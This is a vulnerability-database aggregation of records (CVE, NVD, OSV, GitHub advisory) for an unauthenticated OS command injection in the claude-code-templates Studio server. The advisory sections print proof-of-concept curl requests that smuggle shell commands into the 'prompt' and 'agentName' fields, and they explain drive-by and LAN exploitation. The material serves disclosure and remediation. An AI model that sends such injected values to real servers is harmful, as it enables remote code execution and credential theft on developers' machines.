CVE-2026-73222 (GCVE-0-2026-73222)

Vulnerability from cvelistv5 – Published: 2026-08-11 18:27 – Updated: 2026-08-13 13:54

Title

Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)

Summary

Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer's privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-13 13:54 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-306 - Missing Authentication for Critical Function
CWE-352 - Cross-Site Request Forgery (CSRF)

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/davila7/claude-code-templates/…	x_refsource_CONFIRM
https://github.com/davila7/claude-code-templates/…	x_refsource_MISC
https://github.com/davila7/claude-code-templates/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
davila7	claude-code-templates	Affected: < 1.29.4

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-73222",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-13T13:54:20.643368Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-13T13:54:28.645Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "claude-code-templates",
          "vendor": "davila7",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.29.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer\u0027s privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-352",
              "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-11T18:27:09.297Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
        },
        {
          "name": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
        },
        {
          "name": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
        }
      ],
      "source": {
        "advisory": "GHSA-79wm-x847-7cvg",
        "discovery": "UNKNOWN"
      },
      "title": "Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-73222",
    "datePublished": "2026-08-11T18:27:09.297Z",
    "dateReserved": "2026-08-11T14:41:20.122Z",
    "dateUpdated": "2026-08-13T13:54:28.645Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-73222",
      "date": "2026-10-05",
      "epss": "0.00319",
      "percentile": "0.22683"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "claude-code-templates",
                "vendor": "davila7",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 1.29.4"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer\u0027s privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4."
          }
        ],
        "id": "CVE-2026-73222",
        "lastModified": "2026-09-09T20:50:00.950",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-73222",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-13T13:54:20.643368Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-08-11T19:18:51.720",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-78"
              },
              {
                "lang": "en",
                "value": "CWE-306"
              },
              {
                "lang": "en",
                "value": "CWE-352"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-73222",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-08-13T13:54:20.643368Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-08-13T13:53:53.739Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "claude-code-templates",
              "vendor": "davila7",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 1.29.4"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer\u0027s privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-78",
                  "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-306",
                  "description": "CWE-306: Missing Authentication for Critical Function",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            },
            {
              "descriptions": [
                {
                  "cweId": "CWE-352",
                  "description": "CWE-352: Cross-Site Request Forgery (CSRF)",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-08-11T18:27:09.297Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
            },
            {
              "name": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
            },
            {
              "name": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
            }
          ],
          "source": {
            "advisory": "GHSA-79wm-x847-7cvg",
            "discovery": "UNKNOWN"
          },
          "title": "Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-73222",
        "datePublished": "2026-08-11T18:27:09.297Z",
        "dateReserved": "2026-08-11T14:41:20.122Z",
        "dateUpdated": "2026-08-13T13:54:28.645Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

BREW-CLAUDE-CODE-TEMPLAT… (GHSA-79WM-X847-7CVG)

Vulnerability from osv_homebrew – Published: 2026-09-04 08:51 – Updated: 2026-09-17 20:03 – Source website

Summary

Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)

Details

Summary

npx claude-code-templates --studio launches "Claude Code Studio", an Express HTTP server (cli-tool/src/sandbox-server.js, default port 3444) that binds to all interfaces (0.0.0.0), sets Access-Control-Allow-Origin: *, and requires no authentication. Two POST endpoints pass attacker-controlled request-body fields into child_process.spawn(..., { shell: true }). Because shell: true makes Node join the argv array into a single sh -c string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port — a malicious web page the developer visits, or anyone on the same LAN — can execute arbitrary OS commands on the developer's machine.

Details

In cli-tool/src/sandbox-server.js:

app.listen(PORT, ...) is called with no host argument, so the server listens on 0.0.0.0 / :: (reachable from the LAN, not just localhost).
The CORS middleware sends Access-Control-Allow-Origin: * and answers the preflight OPTIONS for any origin, so a browser will deliver cross-origin POSTs to it.
There is no authentication on any endpoint.

The vulnerable sinks:

POST /api/execute — the prompt body field flows into executeLocalTask(): ```js const child = spawn('claude', [finalPrompt], { / ... / shell: true }); The only validation on prompt is a length check (>= 10 chars). With shell: true, finalPrompt is interpreted by the shell.
POST /api/install-agent — the agentName body field: const child = spawn('npx', ['claude-code-templates@latest', '--agent', agentName, '--yes'], { / ... / shell: true });
agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute's agent field via checkAndInstallAgent().)

Root cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries — Node builds cmd + ' ' + argsArray.join(' ') and runs it via sh -c, so every element is subject to shell parsing.

PoC

Victim

npx claude-code-templates --studio # server on 0.0.0.0:3444

Attacker (another LAN host, or a malicious web page fetch(), or locally)

curl -s -X POST http://127.0.0.1:3444/api/execute \ -H 'Content-Type: application/json' \ --data '{"prompt":"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF","mode":"local"}'

curl -s -X POST http://127.0.0.1:3444/api/install-agent \ -H 'Content-Type: application/json' \ --data '{"agentName":"x; touch /tmp/CCT_AGENT_PROOF #"}'

ls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF # both created => injected commands ran The aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed — the injected segment runs regardless.

Confirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on :3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: .

Impact

Unauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths: - Drive-by: a developer running --studio who visits an attacker-controlled web page — the page's cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction. - LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.

Impact is full compromise of the developer's user account (arbitrary command execution with the developer's privileges): source code, SSH keys, cloud credentials, and .env secrets.

Suggested fix

Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).
Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).
Bind to loopback only (app.listen(PORT, '127.0.0.1', ...)).
Replace the wildcard CORS with a same-origin allowlist and reject other origins.

Severity

8.8 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

URL

Type

	https://github.com/davila7/claude-code-templates/…	WEB
	https://nvd.nist.gov/vuln/detail/CVE-2026-73222	ADVISORY
	https://github.com/davila7/claude-code-templates/…	WEB
	https://github.com/davila7/claude-code-templates	PACKAGE
	https://github.com/davila7/claude-code-templates/…	WEB

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "upstream_fixed_in": "1.29.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "claude-code-templates",
        "purl": "pkg:brew/claude-code-templates"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.27.0"
            },
            {
              "fixed": "1.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "npm",
        "key": "pkg:npm/claude-code-templates@1.29.4",
        "name": "claude-code-templates",
        "strategy": "registry",
        "subject_version": "1.29.4"
      }
    ]
  },
  "details": "### Summary\n`npx claude-code-templates --studio` launches \"Claude Code Studio\", an Express HTTP server (`cli-tool/src/sandbox-server.js`, default port 3444) that binds to **all interfaces** (`0.0.0.0`), sets `Access-Control-Allow-Origin: *`, and requires **no authentication**. Two POST endpoints pass attacker-controlled request-body fields into `child_process.spawn(..., { shell: true })`. Because `shell: true` makes Node join the argv array into a single `sh -c` string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port \u2014 a malicious web page the developer visits, or anyone on the same LAN \u2014 can execute arbitrary OS commands on the developer\u0027s machine.\n\n### Details\nIn `cli-tool/src/sandbox-server.js`:\n\n- `app.listen(PORT, ...)` is called with no host argument, so the server listens on `0.0.0.0` / `::` (reachable from the LAN, not just localhost).\n- The CORS middleware sends `Access-Control-Allow-Origin: *` and answers the preflight `OPTIONS` for any origin, so a browser will deliver cross-origin POSTs to it.\n- There is no authentication on any endpoint.\n\nThe vulnerable sinks:\n\n1. `POST /api/execute` \u2014 the `prompt` body field flows into `executeLocalTask()`:\n   ```js\n   const child = spawn(\u0027claude\u0027, [finalPrompt], { /* ... */ shell: true });\n   The only validation on prompt is a length check (\u003e= 10 chars). With shell: true, finalPrompt is interpreted by the shell.\n\n2. POST /api/install-agent \u2014 the agentName body field:\nconst child = spawn(\u0027npx\u0027, [\u0027claude-code-templates@latest\u0027, \u0027--agent\u0027, agentName, \u0027--yes\u0027], { /* ... */ shell: true });\n2. agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute\u0027s agent field via checkAndInstallAgent().)\n\nRoot cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries \u2014 Node builds cmd + \u0027 \u0027 + argsArray.join(\u0027 \u0027) and runs it via sh -c, so every element is subject to shell parsing.\n\nPoC\n\n# Victim\nnpx claude-code-templates --studio          # server on 0.0.0.0:3444\n\n# Attacker (another LAN host, or a malicious web page fetch(), or locally)\ncurl -s -X POST http://127.0.0.1:3444/api/execute \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"prompt\":\"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF\",\"mode\":\"local\"}\u0027\n\ncurl -s -X POST http://127.0.0.1:3444/api/install-agent \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"agentName\":\"x; touch /tmp/CCT_AGENT_PROOF #\"}\u0027\n\nls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF   # both created =\u003e injected commands ran\nThe aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed \u2014 the injected segment runs regardless.\n\nConfirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on *:3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: *.\n\nImpact\n\nUnauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths:\n- Drive-by: a developer running --studio who visits an attacker-controlled web page \u2014 the page\u0027s cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction.\n- LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.\n\nImpact is full compromise of the developer\u0027s user account (arbitrary command execution with the developer\u0027s privileges): source code, SSH keys, cloud credentials, and .env secrets.\n\nSuggested fix\n\n- Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).\n- Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).\n- Bind to loopback only (app.listen(PORT, \u0027127.0.0.1\u0027, ...)).\n- Replace the wildcard CORS with a same-origin allowlist and reject other origins.",
  "id": "BREW-claude-code-templates-CVE-2026-73222",
  "modified": "2026-09-17T20:03:49Z",
  "published": "2026-09-04T08:51:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/davila7/claude-code-templates"
    },
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)",
  "upstream": [
    "GHSA-79wm-x847-7cvg",
    "CVE-2026-73222"
  ]
}

EUVD-2026-351970

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 08:21

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:21:14.049490+00:00",
  "id": "EUVD-2026-351970"
}

FKIE_CVE-2026-73222

Vulnerability from fkie_nvd - Published: 2026-08-11 19:18 - Updated: 2026-09-09 20:50

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md
	security-advisories@github.com	https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783
	security-advisories@github.com	https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "claude-code-templates",
          "vendor": "davila7",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.29.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Claude Code Templates is a CLI tool for configuring and monitoring Claude Code. Prior to 1.29.4, the Claude Code Studio server launched by the --studio option in cli-tool/src/sandbox-server.js binds to all interfaces on port 3444, permits cross-origin requests, and requires no authentication. The POST /api/execute endpoint passes the prompt request-body field to executeLocalTask(), and POST /api/install-agent passes the agentName request-body field to a child process. The same unsafe agent field path is reachable from /api/execute through checkAndInstallAgent(). These attacker-controlled values reach child_process.spawn() with shell execution enabled, causing Node.js to construct a shell command in which metacharacters are interpreted. An attacker who can reach the port directly, or who convinces a developer running Studio to visit a malicious website, can execute arbitrary operating-system commands with the developer\u0027s privileges and compromise source code, credentials, and local data. This issue is fixed in version 1.29.4."
    }
  ],
  "id": "CVE-2026-73222",
  "lastModified": "2026-09-09T20:50:00.950",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-73222",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-13T13:54:20.643368Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-11T19:18:51.720",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        },
        {
          "lang": "en",
          "value": "CWE-306"
        },
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-79WM-X847-7CVG

Vulnerability from github – Published: 2026-09-03 19:50 – Updated: 2026-09-03 19:50

Summary

Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)

Details

Summary

Details

In cli-tool/src/sandbox-server.js:

app.listen(PORT, ...) is called with no host argument, so the server listens on 0.0.0.0 / :: (reachable from the LAN, not just localhost).
The CORS middleware sends Access-Control-Allow-Origin: * and answers the preflight OPTIONS for any origin, so a browser will deliver cross-origin POSTs to it.
There is no authentication on any endpoint.

The vulnerable sinks:

POST /api/execute — the prompt body field flows into executeLocalTask(): ```js const child = spawn('claude', [finalPrompt], { / ... / shell: true }); The only validation on prompt is a length check (>= 10 chars). With shell: true, finalPrompt is interpreted by the shell.
POST /api/install-agent — the agentName body field: const child = spawn('npx', ['claude-code-templates@latest', '--agent', agentName, '--yes'], { / ... / shell: true });
agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute's agent field via checkAndInstallAgent().)

PoC

Victim

npx claude-code-templates --studio # server on 0.0.0.0:3444

Attacker (another LAN host, or a malicious web page fetch(), or locally)

curl -s -X POST http://127.0.0.1:3444/api/execute \ -H 'Content-Type: application/json' \ --data '{"prompt":"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF","mode":"local"}'

curl -s -X POST http://127.0.0.1:3444/api/install-agent \ -H 'Content-Type: application/json' \ --data '{"agentName":"x; touch /tmp/CCT_AGENT_PROOF #"}'

Impact

Impact is full compromise of the developer's user account (arbitrary command execution with the developer's privileges): source code, SSH keys, cloud credentials, and .env secrets.

Suggested fix

Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).
Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).
Bind to loopback only (app.listen(PORT, '127.0.0.1', ...)).
Replace the wildcard CORS with a same-origin allowlist and reject other origins.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.29.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "claude-code-templates"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
